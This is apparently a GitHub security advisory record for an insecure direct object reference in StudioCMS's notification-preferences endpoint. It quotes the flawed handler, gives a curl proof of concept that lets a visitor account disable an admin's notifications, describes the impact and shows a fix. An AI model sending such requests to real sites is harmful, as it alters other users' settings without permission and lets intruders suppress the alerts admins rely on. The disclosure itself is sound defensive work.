{"id":"GHSA-9v82-xrm4-mp52","summary":"StudioCMS: IDOR in User Notification Preferences Allows Any Authenticated User to Modify Any User's Settings","details":"## Summary\n\nThe `updateUserNotifications` endpoint accepts a user ID from the request payload and uses it to update that user's notification preferences. It checks that the caller is logged in but never verifies that the caller owns the target account (`id !== userData.user.id`). Any authenticated visitor can modify notification preferences for any user, including disabling admin notifications to suppress detection of malicious activity.\n\n## Details\n\nThe vulnerable handler is in `packages/studiocms/frontend/pages/studiocms_api/_handlers/dashboard/users.ts:257-311`:\n\n```typescript\n.handle(\n    'updateUserNotifications',\n    Effect.fn(function* ({ payload: { id, notifications } }) {\n        // ...demo mode checks...\n\n        const [sdk, userData] = yield* Effect.all([SDKCore, CurrentUser]);\n\n        // Line 274: Only checks login + visitor level — any authenticated user passes\n        if (!userData.isLoggedIn || !userData.userPermissionLevel.isVisitor) {\n            return yield* new DashboardAPIError({ error: 'Unauthorized' });\n        }\n\n        // Line 280: Uses 'id' from payload — NOT userData.user.id\n        const existingUser = yield* sdk.GET.users.byId(id);\n\n        // Line 288: Updates target user using attacker-controlled 'id'\n        const updatedData = yield* sdk.AUTH.user.update({\n            userId: id,       // ← attacker controls this\n            userData: {\n                id,            // ← attacker controls this\n                name: existingUser.name,\n                username: existingUser.username,\n                updatedAt: new Date().toISOString(),\n                emailVerified: existingUser.emailVerified,\n                createdAt: undefined,\n                notifications,  // ← attacker controls this\n            },\n        });\n    })\n)\n```\n\nFor comparison, the `updateUserProfile` handler in `dashboard/profile.ts` correctly uses `userData.user.id` instead of a user-supplied ID, preventing IDOR.\n\n## PoC\n\n```bash\n# 1. Log in as a visitor-role user, obtain session cookie\n\n# 2. Disable all notifications for the admin user\ncurl -X POST 'http://localhost:4321/studiocms_api/dashboard/update-user-notifications' \\\n  -H 'Cookie: studiocms-session=\u003cvisitor-session-token\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"id\": \"\u003cadmin-user-id\u003e\",\n    \"notifications\": \"\"\n  }'\n\n# Expected: 403 Forbidden\n# Actual: 200 {\"message\":\"User notifications updated successfully\"}\n```\n\n## Impact\n\n- Any authenticated visitor can disable notification preferences for admin/owner accounts, suppressing alerts about new user creation, account changes, and user deletions\n- Enables attack chaining — suppress admin notifications first, then perform other malicious actions with reduced detection risk\n- Can modify any user's notification preferences (enable unwanted notifications or disable critical ones)\n\n## Recommended Fix\n\nAdd an ownership check in `packages/studiocms/frontend/pages/studiocms_api/_handlers/dashboard/users.ts`:\n\n```typescript\n// After the login check at line 274, add:\nif (id !== userData.user?.id && !userData.userPermissionLevel.isAdmin) {\n    return yield* new DashboardAPIError({\n        error: 'Unauthorized: cannot modify another user\\'s notification preferences',\n    });\n}\n```","aliases":["CVE-2026-32104"],"modified":"2026-03-14T03:09:50.866640Z","published":"2026-03-12T14:49:41Z","database_specific":{"github_reviewed":true,"nvd_published_at":"2026-03-11T21:16:16Z","github_reviewed_at":"2026-03-12T14:49:41Z","severity":"MODERATE","cwe_ids":["CWE-639"]},"references":[{"type":"WEB","url":"https://github.com/withstudiocms/studiocms/security/advisories/GHSA-9v82-xrm4-mp52"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32104"},{"type":"PACKAGE","url":"https://github.com/withstudiocms/studiocms"}],"affected":[{"package":{"name":"studiocms","ecosystem":"npm","purl":"pkg:npm/studiocms"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.4.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-9v82-xrm4-mp52/GHSA-9v82-xrm4-mp52.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}]}